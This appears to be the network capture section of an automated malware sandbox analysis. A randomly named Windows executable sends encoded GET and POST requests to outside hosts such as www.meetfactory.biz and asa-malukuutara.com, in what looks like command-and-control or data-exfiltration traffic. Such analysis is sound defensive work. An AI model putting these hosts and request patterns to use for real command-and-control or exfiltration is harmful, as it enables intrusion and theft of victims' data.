Aug 27, 2024 07:58:30.561651945 CEST	1289	OUT	Data Raw: 4f 4a 73 41 50 61 79 35 32 67 49 54 77 2b 74 45 33 30 4e 4e 58 68 63 77 35 74 4f 38 44 47 73 4e 37 79 79 48 6f 4d 67 75 36 61 44 64 42 77 55 41 6a 6b 75 6f 6c 37 68 41 68 74 66 35 62 35 34 37 47 4b 52 35 5a 31 6d 72 64 50 68 59 68 4a 37 71 42 66 Data Ascii: OJsAPay52gITw+tE30NNXhcw5tO8DGsN7yyHoMgu6aDdBwUAjkuol7hAhtf5b547GKR5Z1mrdPhYhJ7qBfnNV1MJpBnhWjrdOsRJRtvPHA6MhDN9t5Wr1VVjQPmxA0beJg7GzvO0H1pBoSK1Nlc7xBt+6J7C1r+yMT91/65ck7MU0Rf9NlOO2Fg6Cg9wRwbV5Z0xHHDbPpGJ6gPy+LWdGsbM3w5o1DIPUgf32p4sb+JssBynBzq
Aug 27, 2024 07:58:30.561841965 CEST	16757	OUT	Data Raw: 2b 69 78 78 38 63 46 36 6f 73 71 2f 58 39 6e 62 64 71 70 7a 70 78 65 35 62 4e 4f 4c 70 55 51 56 70 2b 65 39 35 36 36 74 75 52 41 63 67 31 78 6f 2f 48 42 5a 72 55 47 4e 56 2f 6f 77 47 47 46 4a 50 67 41 6a 2f 53 46 46 48 54 47 42 38 63 2b 71 6b 72 Data Ascii: +ixx8cF6osq/X9nbdqpzpxe5bNOLpUQVp+e9566tuRAcg1xo/HBZrUGNV/owGGFJPgAj/SFFHTGB8c+qkr4ZMsayHafihR5PY01r8nNmb5JjxBaNXm9hGk4/fkIfxfrjThx/vJ50jSftmrwAQaNvtKvx4+94zqBKGHUUxpG3rw66LqszaPWIYqKwCq0Kd9+esTKE2ytpLCJfARtdIG6Jg7PRsUUlij/JUaEUisqlhDka+sB4E2+
Aug 27, 2024 07:58:30.561994076 CEST	5156	OUT	Data Raw: 46 46 58 68 2f 43 2f 50 55 7a 39 6a 4d 4f 39 75 78 38 76 5a 30 73 75 4c 77 45 68 76 42 6a 6d 7a 78 2b 55 64 72 49 35 46 71 79 65 5a 37 51 32 32 73 4b 30 4d 39 67 64 77 43 57 31 63 66 64 33 4b 53 67 2f 76 7a 39 70 33 61 7a 7a 66 76 73 35 76 37 67 Data Ascii: FFXh/C/PUz9jMO9ux8vZ0suLwEhvBjmzx+UdrI5FqyeZ7Q22sK0M9gdwCW1cfd3KSg/vz9p3azzfvs5v7gu+XUs5ccQguPH86g6rjmflv6TqrTA87nuh1v1cQ0PBQS4O4b8NC3jpp+XzhErIa5t7nLpyHBzozqI15wVucnnfT4wjXuG8botvBtLusGVrVduf4rqjUEq5GhgEwGvqzT0gD1TwL8XHzIM5+Rpmhuc/3zCueCOoxWH
Aug 27, 2024 07:58:30.906685114 CEST	2578	OUT	Data Raw: 7a 39 53 44 75 39 6e 79 71 71 61 45 47 6a 73 43 57 2f 2f 71 66 36 32 6e 50 66 4c 4b 6c 34 63 68 4c 42 68 6c 73 64 76 48 34 54 73 75 50 31 32 64 4a 47 4e 66 6d 70 61 46 69 34 72 48 49 56 4e 46 47 4c 6b 46 46 70 37 37 57 42 4d 41 7a 34 76 4e 44 47 Data Ascii: z9SDu9nyqqaEGjsCW//qf62nPfLKl4chLBhlsdvH4TsuP12dJGNfmpaFi4rHIVNFGLkFFp77WBMAz4vNDG4GGfS+ivTfLnfqyaGP2b1R8ZwhBDtuozp5iA9nJRTjrTOPsn5DlD3Y6zGIXV6SPesODbQOt5E0iI8kO3D0mHcWKxds/P1cIryFdwJ/U4h3ptV++Dv4ICygMX/Z9BYQjJs4BYIfZRY5ANafVOCjYHi1yCdb5jB7f0+
Aug 27, 2024 07:58:30.906780958 CEST	2578	OUT	Data Raw: 54 42 73 31 4a 6f 5a 78 64 7a 2b 51 41 50 77 55 32 66 36 44 78 5a 48 64 32 61 7a 6b 44 71 6e 56 37 43 76 4b 35 33 76 63 65 77 4e 68 57 78 49 6c 6d 34 73 38 6e 56 6c 42 76 71 68 63 38 44 2f 74 45 71 56 36 6c 67 58 6b 38 32 4a 4c 32 78 6e 76 39 35 Data Ascii: TBs1JoZxdz+QAPwU2f6DxZHd2azkDqnV7CvK53vcewNhWxIlm4s8nVlBvqhc8D/tEqV6lgXk82JL2xnv95zd1pATpoJcOHS+yVRkN246awEcyEjPDdzPlmIG5hAPqvn4auNQSiCExk1si03cufNXPXOJG0uADgQSDFDoX69qQRrn/t5Fff8JIZIMgXOMgndpT/P+7V+giJzXB5wL0kE8FbARpIF3BVNP0xN8qhIf3n1kRuTkvgj
Aug 27, 2024 07:58:30.906955957 CEST	5156	OUT	Data Raw: 78 51 61 67 2f 42 30 2f 6e 6a 54 73 56 77 64 4c 38 4a 33 68 6a 52 66 75 32 66 55 2b 67 33 67 62 4b 41 72 37 48 55 67 74 73 74 79 62 6b 30 4d 37 75 67 4d 70 75 44 2b 73 69 5a 77 52 64 70 45 4f 47 4c 64 4b 53 64 68 56 70 6f 61 6c 5a 59 45 62 79 47 Data Ascii: xQag/B0/njTsVwdL8J3hjRfu2fU+g3gbKAr7HUgtstybk0M7ugMpuD+siZwRdpEOGLdKSdhVpoalZYEbyGdBDAK1qqdBaJ9c9X4IITtpHAzyGuJCpridmtp+owtruCDtP5gFIrWBxrsnGUFoSftFwq1sdGs/gqZsMkaIfibhd9uisCkzY5ayJeZVkGo8QkmRGBjK/hkXuEli7PbTcFj3d5LDtWwuv5RmG1/LbL7BCB5JPnKtr0p
Aug 27, 2024 07:58:30.907129049 CEST	4583	OUT	Data Raw: 61 2b 75 59 7a 66 2f 6c 38 54 58 57 31 4e 6f 6d 43 41 76 4d 55 39 78 42 63 4e 56 43 51 57 59 56 53 47 75 46 37 5a 56 70 4b 63 73 48 6e 79 6c 34 6c 65 4d 51 63 45 76 6d 32 63 78 66 6a 75 62 4b 52 69 4c 6f 6c 76 79 4d 68 33 4f 76 77 4f 50 75 44 6a Data Ascii: a+uYzf/l8TXW1NomCAvMU9xBcNVCQWYVSGuF7ZVpKcsHnyl4leMQcEvm2cxfjubKRiLolvyMh3OvwOPuDjjI+DHFmqdExyduRba0Tgd4Ap4nnJHpxz8OILWyoeRt7V9FLy+T3lOSb1o4PkWCV0c+C9g9fjNIpIPBIyGGShS8Vl64KNH5kckYMT15NQSn26fl5zi6AMcGy7YqNDJX++7bJYNHWHOampN8NB8zSuUomhui5mI/7Wn
Aug 27, 2024 07:58:31.276694059 CEST	1289	OUT	Data Raw: 6d 72 75 71 74 6d 64 42 6d 59 65 34 4c 52 71 6c 46 53 58 4b 61 48 70 36 76 68 76 42 54 43 62 4a 62 50 4d 74 46 7a 50 50 34 6d 76 47 6f 47 57 53 65 78 35 69 52 79 71 76 30 61 67 48 46 59 54 67 57 58 50 39 41 6b 70 53 50 44 45 75 30 63 64 62 70 31 Data Ascii: mruqtmdBmYe4LRqlFSXKaHp6vhvBTCbJbPMtFzPP4mvGoGWSex5iRyqv0agHFYTgWXP9AkpSPDEu0cdbp17Vl8tGrCeZPnbdetsF5ehgi9It158assoOdjnlpCfFyGgrHRqPJ55tawgR++sKuD8oyH8bwlCVIyusXzU3G+0jMuKVBnCa/Gd5usxBQJdQc4lG3b9szcnbml7AjzaBdIpoSwb4dzunuqrLgI0k4ZGyVmcLfj+jZNP
Aug 27, 2024 07:58:32.565346956 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Aug 2024 05:58:30 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://asa-malukuutara.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: br Content-Length: 12523 Content-Type: text/html; charset=UTF-8 Data Raw: 53 06 02 41 11 a9 49 3f 04 54 04 c6 4d 7c ac f3 7c ff 99 a9 7d 67 e9 72 7a 86 2b 16 e1 00 20 00 ae 22 43 f5 77 9c 5e 5c 93 4c ba e2 e4 6f b1 4b 03 91 90 04 9b 22 39 00 b4 b8 d9 fc ff fd a5 d5 64 a6 61 0a 67 16 08 65 b7 b4 04 1c da f7 de f7 5e f7 87 aa 3d bf 24 79 b6 24 d9 e7 94 2c f7 1e 19 7a 8f 64 e8 e6 f7 ee 83 ff 0b c5 06 99 b8 7b c1 f6 10 60 16 2c 62 92 6c 12 d7 70 79 7a 61 80 c2 89 37 a2 20 4a f6 31 4c 6b b7 bf cf ba eb 12 44 44 45 40 4d da 7b 89 cb 63 f3 9a 60 a9 46 79 31 91 a9 e1 8c 0d fd 41 ec 93 bc 55 22 99 ef ab 0c d5 66 f7 42 62 1b 43 c9 29 20 75 5b c6 d4 b2 d9 bd ee 17 39 09 57 03 44 62 5d 94 80 c1 d5 9c 6b c0 a4 8b 57 48 77 f4 c7 e3 1c 07 73 4f 8b 42 bc 6f ac 50 ce cb b5 c4 73 59 58 0a 88 1c da 0d 45 5d 15 f5 10 81 04 53 06 57 2a 81 4b 7f 8b 17 05 60 a3 5b 7c 4c 2c 0e ea b2 1b 8c 41 3a 24 34 2e 92 1a 2f 02 53 92 81 83 db a0 eb 3d 70 2c 82 e2 fb c7 13 a2 84 bb c7 3b fa e5 ee f3 8f ef fb 3c 7b 49 f3 0f ad e9 5e c1 ea b6 5a 34 9d 43 7a 19 5b ed eb fd 62 b7 0d 2f 3d 0c 95 53 f4 a0 da e3 eb [TRUNCATED] Data Ascii: SAI?TM\|\|}grz+ "Cw^\LoK"9dage^=$y$,zd{`,blpyza7 J1LkDDE@M{c`Fy1AU"fBbC) u[9WDb]kWHwsOBoPsYXE]SWK`[\|L,A:$4./S=p,;<{I^Z4Cz[b/=SUS<(2i\!o);nb@.b~#D "fynmn)t<u4&{i)D<"aEOa&/\|AQ"v8Giv~mo2j8Oyv)\|q1tJW~JYr^h'q0)r}om8%0O{]{$m\|yWh"O-?O{U;^-/i<N+x}';)Z$vu:`w}'%/\|$Uof;R^l?LlBj5TM?Ow?qX+Q2mEO&cFOy:TeK[Cko.r%+6[ZMtAmMo(KM9&A-]\w-"\ftS\4N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49845	103.247.8.53	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:58:33.097264051 CEST	553	OUT	GET /21hf/?ij60MtY=p1NLRLDpZ3jtk0f1dDjC0GqGJiZBNtu8Mrwl5djJtNb21C4BFG2Hr75FPHHV9wORgBrIYOW3JrKZkRWCMOhawA9p/CCB70kTn7w94dWnlsSq4AnfR/ra/5E=&wXB=brv4Erb HTTP/1.1 Host: www.asa-malukuutara.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Aug 27, 2024 07:58:33.565958977 CEST	518	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 27 Aug 2024 05:58:33 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: http://asa-malukuutara.com/21hf/?ij60MtY=p1NLRLDpZ3jtk0f1dDjC0GqGJiZBNtu8Mrwl5djJtNb21C4BFG2Hr75FPHHV9wORgBrIYOW3JrKZkRWCMOhawA9p/CCB70kTn7w94dWnlsSq4AnfR/ra/5E=&wXB=brv4Erb Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49846	96.126.123.244	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:58:47.033322096 CEST	823	OUT	POST /o0e7/ HTTP/1.1 Host: www.meetfactory.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.meetfactory.biz Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.meetfactory.biz/o0e7/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 38 46 47 42 68 55 63 56 59 46 6b 45 4d 67 4c 56 53 62 4e 55 74 42 64 75 63 59 56 55 51 64 49 78 42 51 42 6b 6c 55 49 78 54 36 64 66 63 34 52 30 6b 69 4c 33 67 6b 52 4f 6f 4c 64 74 71 57 6c 55 6f 77 78 43 35 49 38 46 6c 41 4f 71 41 5a 75 37 53 32 37 52 58 49 46 65 66 6e 37 42 71 47 4c 48 4b 56 4b 62 6f 30 4c 7a 33 59 41 74 68 36 56 72 63 70 55 61 6d 70 33 35 37 41 79 45 38 53 64 48 42 64 6f 4f 79 69 39 36 54 74 73 6c 51 68 49 67 77 30 68 2f 31 4e 56 35 61 68 4f 6b 7a 54 70 35 44 77 75 5a 6c 43 79 36 74 6f 74 6a 6a 56 61 62 6f 46 53 6e 6c 6d 77 71 51 4c 33 61 66 75 79 4d 6b 67 3d 3d Data Ascii: ij60MtY=8FGBhUcVYFkEMgLVSbNUtBducYVUQdIxBQBklUIxT6dfc4R0kiL3gkROoLdtqWlUowxC5I8FlAOqAZu7S27RXIFefn7BqGLHKVKbo0Lz3YAth6VrcpUamp357AyE8SdHBdoOyi96TtslQhIgw0h/1NV5ahOkzTp5DwuZlCy6totjjVaboFSnlmwqQL3afuyMkg==
Aug 27, 2024 07:58:47.168495893 CEST	803	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Tue, 27 Aug 2024 05:58:47 GMT content-type: text/html transfer-encoding: chunked content-encoding: gzip connection: close Data Raw: 32 36 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 95 53 4d 73 9b 30 10 bd e7 57 50 0e 99 76 a6 e6 d3 29 76 03 e9 a4 34 c6 76 88 9d a4 4e b0 b9 64 84 a4 58 72 40 a2 20 c0 4e a7 ff bd 80 3b 31 1d f7 52 1d 90 76 d9 7d bb ef ad 64 bf fb 36 77 17 ab db 2b 89 88 24 be 38 b1 9b 4d 8a 01 5b 3b 32 66 f2 c5 89 54 2f 9b 60 80 f6 c7 d6 4c b0 00 12 24 20 cb b1 70 e4 87 c5 a8 37 f8 13 79 f8 4d 84 48 7b f8 47 41 4b 47 de f6 0a d0 83 3c 49 81 a0 51 8c 65 09 72 26 30 ab 73 27 57 0e 46 6b 7c 94 cd 40 82 1d b9 a4 b8 4a 79 26 3a 09 15 45 82 38 08 97 14 e2 5e 6b 7c 94 28 a3 82 82 b8 97 43 10 63 47 57 b4 2e 9c a0 22 c6 17 b6 ba df 5b 3a 6d 93 8c e7 30 a3 a9 38 d0 fa 77 ef 19 7e ce 70 4e 3a 2d 68 e7 45 16 3b 0d bf cf aa 5a 55 95 a5 29 09 c6 e2 19 40 c1 b3 9d 12 d1 57 55 96 d4 03 ae ad 1e d7 b2 5b 09 bb 1a 1d d7 39 fb 8f 3a b6 7a 18 91 1d 71 b4 93 38 8b 39 40 8e 8c f8 d3 fe f8 fe 43 57 96 3d 79 49 ec d2 5a 67 81 b7 42 dd 80 12 ec bd 9d b8 46 93 e7 82 41 41 39 93 3a 50 d2 cf 37 25 9b 90 66 55 94 21 5e 29 82 a7 4a cc 61 3d 69 ce [TRUNCATED] Data Ascii: 263SMs0WPv)v4vNdXr@ N;1Rv}d6w+$8M[;2fT/`L$ p7yMH{GAKG<IQer&0s'WFk\|@Jy&:E8^k\|(CcGW."[:m08w~pN:-hE;ZU)@WU[9:zq89@CW=yIZgBFAA9:P7%fU!^)Ja=iRI>u$e:&?EA[F2a)6}S.@0yszI}cPH}SwOw0yL4M9Ws:(L?py3?w'+c][y}9Fi IZIDnA0#QPYpU$4Jd<Rn(@./7b{,8 @EpI656:yv\|h~Y\0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49847	96.126.123.244	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:58:49.696741104 CEST	1163	OUT	POST /o0e7/ HTTP/1.1 Host: www.meetfactory.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.meetfactory.biz Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.meetfactory.biz/o0e7/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 38 46 47 42 68 55 63 56 59 46 6b 45 4e 42 37 56 52 34 56 55 71 68 64 74 54 34 56 55 5a 39 49 39 42 51 4e 6b 6c 56 4e 38 54 73 31 66 64 63 56 30 6c 6a 4c 33 74 45 52 4f 67 72 64 6f 75 57 6b 35 6f 77 39 38 35 49 41 46 6c 41 79 71 53 63 69 37 54 47 37 51 64 6f 46 52 59 6e 37 4d 38 32 4c 64 4b 55 33 77 6f 31 76 7a 33 75 30 74 69 38 35 72 62 34 55 5a 68 4a 33 33 76 77 79 48 33 79 64 4a 42 64 73 73 79 6a 56 41 53 66 77 6c 54 46 30 67 68 45 68 38 2f 39 56 30 56 42 50 54 79 7a 63 4e 61 6a 71 36 73 78 61 48 72 4a 52 44 2b 45 4b 67 70 48 6d 65 39 6e 4d 30 52 2f 47 78 4b 39 7a 64 36 66 37 31 36 72 54 4b 66 61 76 75 54 56 55 32 32 38 62 59 53 4d 6f 6c 38 39 62 63 43 52 77 38 70 74 51 4a 49 33 34 69 37 65 6d 6f 65 74 74 33 33 58 53 76 46 6d 5a 32 75 45 38 4a 7a 6d 2f 33 4c 31 55 64 4b 36 46 33 4d 48 37 74 51 4e 72 67 42 71 4c 67 47 46 72 4e 47 56 58 78 32 74 6f 39 73 2b 4c 73 77 75 4a 71 50 6f 56 32 42 39 67 67 63 49 50 5a 64 56 34 66 53 37 34 79 70 56 65 69 4d 7a 33 75 2f 50 6c 6b 4b 43 [TRUNCATED] Data Ascii: ij60MtY=8FGBhUcVYFkENB7VR4VUqhdtT4VUZ9I9BQNklVN8Ts1fdcV0ljL3tEROgrdouWk5ow985IAFlAyqSci7TG7QdoFRYn7M82LdKU3wo1vz3u0ti85rb4UZhJ33vwyH3ydJBdssyjVASfwlTF0ghEh8/9V0VBPTyzcNajq6sxaHrJRD+EKgpHme9nM0R/GxK9zd6f716rTKfavuTVU228bYSMol89bcCRw8ptQJI34i7emoett33XSvFmZ2uE8Jzm/3L1UdK6F3MH7tQNrgBqLgGFrNGVXx2to9s+LswuJqPoV2B9ggcIPZdV4fS74ypVeiMz3u/PlkKC+a4Xr4M7LU91pkjjUb0OK+rS/edroqXmilg6KDA0Mq1gTcRCkWT9NOTenqEsjoR2aYnp8qQid7PP5YhGvOWa98WdNpmB031qSB3LtYELnQBaMjPFJnSPD5laY5lYNSx6W7fPbdqro7vf17DWZuJ5VZ/f+DI9XGANxW2AiTkpPuTq5VQhRXqsVE8LdT9TPHKY/7rQYFcwJ8zWI=
Aug 27, 2024 07:58:49.833240032 CEST	803	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Tue, 27 Aug 2024 05:58:49 GMT content-type: text/html transfer-encoding: chunked content-encoding: gzip connection: close Data Raw: 32 36 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 95 53 4d 73 9b 30 10 bd e7 57 50 0e 99 76 a6 36 5f 76 6d 1a 48 27 75 63 62 42 ec 24 75 82 cd 25 23 24 c5 92 03 12 05 01 26 9d fe f7 02 ee c4 74 dc 4b 75 40 da 65 f7 ed be b7 92 f5 ee db 62 b2 5c df 5e 4a 44 c4 d1 f9 89 d5 6c 52 04 d8 c6 96 31 93 cf 4f a4 7a 59 04 03 b4 3f b6 66 8c 05 90 20 01 69 86 85 2d 3f 2c a7 bd f1 9f c8 c3 6f 22 44 d2 c3 3f 72 5a d8 f2 ae 97 83 1e e4 71 02 04 0d 23 2c 4b 90 33 81 59 9d 3b bb b4 31 da e0 a3 6c 06 62 6c cb 05 c5 65 c2 53 d1 49 28 29 12 c4 46 b8 a0 10 f7 5a e3 a3 44 19 15 14 44 bd 0c 82 08 db 5a 5f ed c2 09 2a 22 7c 6e 29 fb bd a5 d3 36 c9 78 06 53 9a 88 03 ad 7f f7 9e e2 e7 14 67 a4 d3 82 7a 96 a7 91 dd f0 fb ac 28 65 59 8e d4 7e 8c b1 78 06 50 f0 b4 ea 87 f4 55 91 25 e5 80 6b 29 c7 b5 ac 56 c2 ae 46 c7 75 86 ff 51 c7 52 0e 23 b2 42 8e 2a 89 b3 88 03 64 cb 88 3f ed 8f ef 3f 74 65 d9 93 97 44 95 d4 3a 0b bc 13 ca 16 14 60 ef ed c4 35 9a 3c e7 0c 0a ca 99 d4 81 92 7e be 29 d9 84 34 ab a4 0c f1 b2 2f 78 d2 8f 38 ac 27 cd [TRUNCATED] Data Ascii: 263SMs0WPv6_vmH'ucbB$u%#$&tKu@eb\^JDlR1OzY?f i-?,o"D?rZq#,K3Y;1lbleSI()FZDDZ_"\|n)6xSgz(eY~xPU%k)VFuQR#Bd??teD:`5<~)4/x8'Y$[bIU<Ilt<F`d4prApMf`Bzz^VOa+7]:./`uSqeu<Y^u8@#G<gZBg\|3"9QRs.~CG'$,n7Vn(;8Fo^95F^io0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49848	96.126.123.244	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:58:52.368853092 CEST	12890	OUT	POST /o0e7/ HTTP/1.1 Host: www.meetfactory.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.meetfactory.biz Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.meetfactory.biz/o0e7/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 38 46 47 42 68 55 63 56 59 46 6b 45 4e 42 37 56 52 34 56 55 71 68 64 74 54 34 56 55 5a 39 49 39 42 51 4e 6b 6c 56 4e 38 54 73 39 66 64 70 42 30 6b 41 7a 33 73 45 52 4f 75 4c 64 70 75 57 6c 37 6f 78 56 77 35 49 4e 77 6c 46 32 71 53 72 6d 37 55 30 6a 51 59 6f 46 63 57 48 37 43 71 47 4b 45 4b 56 4b 70 6f 78 2f 4e 33 63 55 74 68 2b 52 72 63 4c 38 61 72 35 33 35 76 77 79 4c 7a 79 63 6a 42 64 67 38 79 6a 5a 41 53 63 55 6c 52 33 4d 67 78 46 68 38 32 4e 56 31 63 68 50 6d 39 54 64 31 61 6a 2b 75 73 78 61 39 72 49 56 44 2b 48 79 67 6f 47 6d 5a 36 48 4d 30 5a 66 47 79 62 74 2f 5a 36 66 6e 54 36 75 76 4b 66 62 4c 75 53 31 55 32 38 39 62 62 51 73 6f 6a 34 39 62 74 47 52 4d 6b 70 70 34 64 49 7a 6f 69 37 4f 79 6f 63 63 74 33 6b 32 53 76 4d 6d 5a 77 67 6b 38 61 6c 57 2f 72 4c 31 45 42 4b 37 6c 6e 4d 48 50 74 51 74 4c 67 4b 6f 76 6e 57 31 71 47 4e 31 57 72 67 64 30 4c 73 2b 37 67 77 75 4a 36 50 71 6c 32 43 4e 51 67 62 4d 54 57 51 6c 34 59 47 4c 35 79 6e 31 53 34 4d 77 44 6d 2f 50 39 30 4b 44 [TRUNCATED] Data Ascii: ij60MtY=8FGBhUcVYFkENB7VR4VUqhdtT4VUZ9I9BQNklVN8Ts9fdpB0kAz3sEROuLdpuWl7oxVw5INwlF2qSrm7U0jQYoFcWH7CqGKEKVKpox/N3cUth+RrcL8ar535vwyLzycjBdg8yjZAScUlR3MgxFh82NV1chPm9Td1aj+usxa9rIVD+HygoGmZ6HM0ZfGybt/Z6fnT6uvKfbLuS1U289bbQsoj49btGRMkpp4dIzoi7Oyocct3k2SvMmZwgk8alW/rL1EBK7lnMHPtQtLgKovnW1qGN1Wrgd0Ls+7gwuJ6Pql2CNQgbMTWQl4YGL5yn1S4MwDm/P90KDqaqHr4IYjXvlpntzUJ6uKprS6/dokQXyaljuqDFkMrxATYYikQENNOTerUEsnoRHiYo5sqbSh7JP5ehGvbWahxWdFXmCt/1oeB3adYBKnTK6M6LFJwPfO/laELlYcnxNm7eLHduro45v14AWZ8N5YA/fy5I9TWAOxWznXx7Y73IZNFdhp6uNIW25Vpsy/WGeDA0hcxFxpWuCMhv3eQHjsokQXttdlqCmcbbix1Wzc1zUdVQ3bzgROnsCjC9ax8OHWC2eLitogRdl7T4GT6fcKl9XuVQOiGwHfZ3Od2c8Eug0lZdfv+GyNWdKm32Onfn3s1zw+0KVRfL6p+Y4uOzhCOwTN135cry/SkCGmJe3vJVgYDs4uBGF8SPP1Q6d6VXeCd0cyWOfSLvN83VPDWGRtEpMAzVK+xW+cre8UTiD8nBkl/k9Rsd3V87j37Z1djhZrU8/FKGPv1b+BnxABiwFtrjH5zdopaZLr+wsmFiiGOoTYwcpi2Ag5LA1cCZlTQzoFqFaaXZ48rEr6kDXa6bAUQW6o+hjSlEStYJd8wpyGKZe5rbPmoldPPg+Vk2h+AZGfiRhti2nMsMkExmwEwVkCChg42p/iE8GvGJZ1ER1qYoZRJx1btJtA2qavkaqwP1695RteoT6lbSIEbOjYv9hzxxYgtQyjWUqdo [TRUNCATED]
Aug 27, 2024 07:58:52.502094984 CEST	2578	OUT	Data Raw: 75 6a 71 73 75 4c 5a 52 4e 56 2b 43 6f 4f 72 65 6b 33 45 46 6f 41 6d 7a 50 46 51 32 38 4e 44 6c 6d 4b 39 6e 47 50 2f 72 53 64 70 38 63 49 47 38 34 31 6d 76 4e 31 59 78 68 63 57 76 79 59 76 2f 6f 38 73 2f 55 62 4d 66 50 67 7a 33 63 31 72 75 4c 73 Data Ascii: ujqsuLZRNV+CoOrek3EFoAmzPFQ28NDlmK9nGP/rSdp8cIG841mvN1YxhcWvyYv/o8s/UbMfPgz3c1ruLsUGeNTOu0sH9KinEFYdr23FWCPPTnKrJrRxiuq6OB1T8oZhNBQyOkD1X09UDJsYmRYKe/0hXASdbtQl0jGgPl/1xu030dusHdAkqm0Q8PWGRozPEJESEqNkpdKZUXOhxio9pCksWXF8TJQN7UslQFFUpbi0G7JRwvL
Aug 27, 2024 07:58:52.502188921 CEST	5156	OUT	Data Raw: 30 4f 35 43 73 4f 54 5a 52 79 6d 55 52 6e 56 59 73 4d 6b 72 72 72 6e 66 6d 6d 31 34 32 4c 6e 6c 6c 2b 63 6a 72 57 76 70 33 52 41 4c 44 72 54 57 64 68 45 77 31 49 68 6a 78 2b 67 79 4f 72 7a 7a 45 34 54 2b 4a 48 38 5a 2b 78 70 39 73 49 6b 57 62 76 Data Ascii: 0O5CsOTZRymURnVYsMkrrrnfmm142Lnll+cjrWvp3RALDrTWdhEw1Ihjx+gyOrzzE4T+JH8Z+xp9sIkWbvRhOH9/THf1+HJ+KF0mkz1fUZAv65QmJOENSqNhoKMDTC48wclPXyeKJy9xzXhxT9QGAVfU1bqN0rb96cQ9iwfWO2bmdRU22Kt+pqQscN9DoYy8fFuJ86ViwxlJix5ZFLam24lUKyLiaCAfQNMNyXnFboimNp0B/RX
